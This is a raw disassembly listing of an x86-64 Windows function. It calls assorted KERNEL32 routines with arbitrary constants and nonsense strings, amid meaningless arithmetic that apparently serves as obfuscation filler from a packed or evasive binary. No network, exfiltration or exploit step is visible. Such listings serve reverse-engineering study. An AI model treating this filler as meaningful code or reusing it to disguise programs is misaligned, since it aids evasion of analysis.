mov rcx, qword [rsp + 0x69b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x42]
add ecx, edx
cmp eax, ecx
jne 0x14015e930
mov eax, dword [rsp + 0x3b14]
mov dword [rsp + 0x69a0], eax
cmp dword [rsp + 0x69a0], 0x3a3b
je 0x14015e805
cmp dword [rsp + 0x69a0], 0x4a7a
je 0x14015e91a
jmp 0x14015e930
mov dword [rsp + 0x28], LBItemFromPt
lea rax, str.Breasting_possibles_Unpunctual
mov qword [rsp + 0x20], rax
mov r9d, 0xe9
lea r8, str.manufacturer_automating
mov edx, 0x85
mov ecx, 0x20
call qword [sym.imp.KERNEL32.dll_CompareStringA]
mov dword [rsp + 0x3abc], eax
mov eax, dword [section..data]
sub eax, 0xb278
cmp eax, dword [rsp + 0x3b14]
jae 0x14015e8c8
mov eax, dword [rsp + 0x3b34]
mov rcx, qword [rsp + 0x6a28]
mov qword [rsp + 0x1fff0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1fff0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x43]
xor eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov word [rsp + 0x20], 0x8d
mov r9d, 0x5a
lea r8, [rsp + 0x69a4]
mov edx, 7
mov ecx, 0x56
call qword [sym.imp.KERNEL32.dll_GetGeoInfoA]
mov dword [rsp + 0x3abc], eax
jmp 0x14015e918
mov rax, qword [rsp + 0x6a48]
mov rcx, qword [rsp + 0x6a20]
mov qword [rsp + 0x1fff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1fff8]
mov rax, qword [rax]
shr rax, cl
cmp rax, qword [rsp + 0x69b0]
jbe 0x14015e918
mov rax, qword [rsp + 0x69e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc10]
or eax, ecx
mov word [rsp + 0xc0c], ax
jmp 0x14015e930
movzx eax, byte [rsp + 0x42]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
movzx eax, byte [rsp + 0x42]
mov rcx, qword [rsp + 0x6a10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc08], ax
lea r9, [rsp + 0x6a50]
mov r8d, 0xc6
lea rdx, [rsp + 0x20000]
lea rcx, str.C:DoctorsLinguistics
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameA]
mov dword [rsp + 0x3b44], eax
movabs rax, 0x756e664337943f
mov rcx, qword [rsp + 0x6a50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a50], rax
mov edx, 0x49
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
mov dword [rsp + 0x3ba4], eax
jmp 0x14015ea09
lea rax, [rsp + 0x69b0]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x3b54]
mov r8d, dword [rsp + 0x3b60]
lea rdx, [rsp + 0x41]
mov rcx, qword [rsp + 0x69c0]
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
mov dword [rsp + 0x3b44], eax
movsx eax, word [rsp + 0xc08]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
cmp eax, ecx
jle 0x14015ea4d
mov rax, qword [rsp + 0x6a18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x6a20]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x6a20]
mov rcx, qword [rax]
call fcn.14015f630
nop
movzx eax, byte [rsp + 0x40]
sub eax, 6
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
mov edx, 1
lea rcx, [fcn.14015ebc0]
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov dword [rsp + 0x3aec], eax
movsx eax, word [rsp + 0xc08]
sub eax, 0x4f1
mov word [rsp + 0xc08], ax
mov rax, qword [rsp + 0x69b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x40]
and eax, ecx
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
jmp 0x14015eb68
movzx eax, byte [rsp + 0x40]
sub eax, 0x3f
mov rcx, qword [rsp + 0x69b8]
mov byte [rcx], al
cmp dword [section..data], 0xfeb8
jb 0x14015eb35
mov eax, dword [0x14017a4d0]
add eax, 0x27eb
mov dword [rsp + 0x3abc], eax
mov dword [rsp + 0x28], 0x31
lea rax, [rsp + 0x20020]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x20068]
lea r8, str.Weighing_Gavials_moonrise_Overpopulation
mov edx, 0x71
mov ecx, 0xe5
call qword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov dword [rsp + 0x3af0], eax
movsx eax, byte [rsp + 0x41]
add eax, 0x53
mov byte [rsp + 0x41], al
movzx r9d, word [rsp + 0xc08]
movzx r8d, word [rsp + 0xc0c]
movzx edx, word [rsp + 0xc08]
mov ecx, dword [rsp + 0x3af0]
call fcn.14015ebc0
nop
lea rax, [rsp + 0x3abc]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3ad4]
mov r8d, 0xa6
lea rdx, [rsp + 0x3b44]
mov rcx, qword [rsp + 0x69d0]
call qword [sym.imp.KERNEL32.dll_ReadFileEx]
mov dword [rsp + 0x3b44], eax
mov eax, dword [rsp + 0x54a4]
add rsp, 0x20158
pop rdi
pop rsi
ret